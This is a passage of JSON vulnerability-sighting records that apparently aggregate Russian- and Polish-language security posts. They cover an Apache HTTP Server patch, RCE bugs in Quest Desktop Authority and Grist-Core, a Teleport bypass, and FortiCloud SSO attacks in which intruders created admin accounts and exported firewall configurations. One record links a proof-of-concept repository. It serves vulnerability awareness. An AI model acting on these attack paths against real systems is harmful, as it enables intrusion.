\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u2014 \u0432\u044b\u0448\u0435\u043b \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447\n\nApache Software Foundation \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b Apache HTTP Server 2.4.67, \u0437\u0430\u043a\u0440\u044b\u0432 \u0441\u0440\u0430\u0437\u0443 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0412\u0441\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u044e 2.4.66 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e.\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-23918 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 8,8 \u043f\u043e CVSS \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u0434\u0432\u043e\u0439\u043d\u043e\u0433\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 HTTP/2. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24072 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043c\u043e\u0434\u0443\u043b\u044c mod_rewrite \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0447\u0435\u0440\u0435\u0437 .htaccess. \u0422\u0440\u0438 \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043c\u043e\u0434\u0443\u043b\u0438 mod_proxy_ajp, mod_md \u0438 mod_dav_lock \u2014 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0441\u0431\u043e\u0439 \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0437\u043a\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n#apache #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 #\u0432\u0435\u0431\u0441\u0435\u0440\u0432\u0435\u0440 \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:37.182623Z"}, {"uuid": "5df54901-c3b8-4e69-9732-416e9b11faf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://t.me/cyberwarehouse/1065", "content": "#exploit\n#AppSec\n1\u20e3  CVE-2025-67813:\nRCE via Quest Desktop Authority Named Pipe\n// A vulnerability in Quest Desktop Authority allows authenticated users to remotely execute code and perform malicious operations via a named pipe, which can be mitigated by patches, firewalls, or disabling the service\n2\u20e3  CVE-2026-24002:\nRCE sandbox escape in Grist\u2011Core\n// One malicious formula can turn a spreadsheet into a\u00a0RCE beachhead...\n3\u20e3  CVE-2025-49825:\nTeleport remote authentication bypass\n// CVE-2025-49825 is a critical Teleport vulnerability allowing attackers to bypass authentication and potentially gain root access via nested SSH certificates if unpatched", "creation_timestamp": "2026-07-26T02:00:06.871319Z"}, {"uuid": "94b6e70c-1de0-413d-b2ee-9a1e24a81cfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://t.me/EchelonEyes/4305", "content": "Fortinet \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0434\u0435\u0442\u0430\u043b\u0438 \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u0438\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 FortiGate \u0447\u0435\u0440\u0435\u0437 SSO\n\nFortinet \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0434\u0435\u0442\u0430\u043b\u0438 \u0430\u0442\u0430\u043a \u043d\u0430 \u0444\u0430\u0435\u0440\u0432\u043e\u043b\u044b FortiGate, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Arctic Wolf. \u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u0435\u043c \u0434\u0435\u043a\u0430\u0431\u0440\u044c\u0441\u043a\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 2025 \u0433\u043e\u0434\u0430 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 CVE-2025-59718 \u0438 CVE-2025-59719. \u041e\u0434\u043d\u0430\u043a\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043d\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 FortiCloud Single Sign-On. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2026-24858 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9.4).\n\n\u0418\u043c\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 FortiCloud SSO \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c FortiGate \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c Fortinet, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0438 VPN-\u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u043b\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0444\u0430\u0435\u0440\u0432\u043e\u043b\u043e\u0432.\n\n\u0420\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0443\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0438\u0439 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 FortiCloud \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0443\u0436\u0438\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u0447\u0435\u0440\u0435\u0437 SSO, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b. Fortinet \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 SSO \u0447\u0435\u0440\u0435\u0437 SAML.\n\n\u0412 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 Fortinet \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 FortiCloud, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0432\u043d\u0435\u0441\u043b\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 FortiCloud, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0432 \u0440\u0430\u0431\u043e\u0442\u0443 SSO \u0441 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438. \n\nFortinet \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f FortiOS, FortiManager \u0438 FortiAnalyzer. Fortinet \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043a\u0430\u043a \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u043f\u0435\u0440\u0435\u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u043e\u043f\u0438\u0439 \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.\n\n#\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #firewall #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://eyes.etecs.ru/r/003b13", "creation_timestamp": "2026-07-26T02:00:25.675152Z"}, {"uuid": "9b8f77f1-9d55-43a4-a8ac-d62d845acc6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2401", "type": "seen", "source": "Telegram/BrXON8gNeY0TgYOldBGmy8eXN4KAcGl403oVE9n7y3zyAw", "content": "", "creation_timestamp": "2026-08-26T05:00:03.709910Z"}, {"uuid": "3acc1d18-6b6f-46eb-9424-4f103a88d3b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/zhatez/2374", "content": "https://github.com/SafeBreach-Labs/CVE-2026-24061\n\n\u0435\u0449\u0435 \u043f\u043e \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0448\u0442\u0443\u043a\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0435", "creation_timestamp": "2026-07-26T07:01:46.878559Z"}, {"uuid": "a5328ffb-eb41-4f99-91c6-e5cb0efc8a97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://bsky.app/profile/Takita.mastodon.social.ap.brid.gy/post/3mu5uk4dklpe2", "content": "\u26a1 Jedno klikni\u0119cie wystarczy\u0142o, aby Copilot wys\u0142a\u0142 twoje maile hakerom\u26a1\n\ud83d\udc49 https://wykop.pl/link/8002385/jedno-klikniecie-wystarczylo-aby-copilot-wyslal-twoje-maile-hakerom\nBadacze Varonis znale\u017ali w Microsoft Copilot luk\u0119 CVE-2026-24301, kt\u00f3r\u0105 wystarczy\u0142o [\u2026] \n\n[Original post on mastodon.social]", "creation_timestamp": "2026-08-28T17:17:25.219189Z"}, {"uuid": "2e6c41b5-9d24-4b5e-96b7-4a4015cf591b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://t.me/EchelonEyes/4305", "content": "Fortinet \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0434\u0435\u0442\u0430\u043b\u0438 \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u0438\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 FortiGate \u0447\u0435\u0440\u0435\u0437 SSO\n\nFortinet \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0434\u0435\u0442\u0430\u043b\u0438 \u0430\u0442\u0430\u043a \u043d\u0430 \u0444\u0430\u0435\u0440\u0432\u043e\u043b\u044b FortiGate, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Arctic Wolf. \u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u0435\u043c \u0434\u0435\u043a\u0430\u0431\u0440\u044c\u0441\u043a\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 2025 \u0433\u043e\u0434\u0430 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 CVE-2025-59718 \u0438 CVE-2025-59719. \u041e\u0434\u043d\u0430\u043a\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043d\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 FortiCloud Single Sign-On. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2026-24858 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9.4).\n\n\u0418\u043c\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 FortiCloud SSO \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c FortiGate \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c Fortinet, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0438 VPN-\u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u043b\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0444\u0430\u0435\u0440\u0432\u043e\u043b\u043e\u0432.\n\n\u0420\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0443\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0438\u0439 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 FortiCloud \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0443\u0436\u0438\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u0447\u0435\u0440\u0435\u0437 SSO, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b. Fortinet \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 SSO \u0447\u0435\u0440\u0435\u0437 SAML.\n\n\u0412 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 Fortinet \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 FortiCloud, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0432\u043d\u0435\u0441\u043b\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 FortiCloud, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0432 \u0440\u0430\u0431\u043e\u0442\u0443 SSO \u0441 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438. \n\nFortinet \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f FortiOS, FortiManager \u0438 FortiAnalyzer. Fortinet \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043a\u0430\u043a \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u043f\u0435\u0440\u0435\u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u043e\u043f\u0438\u0439 \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.\n\n#\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #firewall #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://eyes.etecs.ru/r/003b13", "creation_timestamp": "2026-07-27T00:00:10.320870Z"}, {"uuid": "bdc14689-5fed-472f-b3b3-87c9c84f1533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://t.me/cyberwarehouse/1065", "content": "#exploit\n#AppSec\n1\u20e3  CVE-2025-67813:\nRCE via Quest Desktop Authority Named 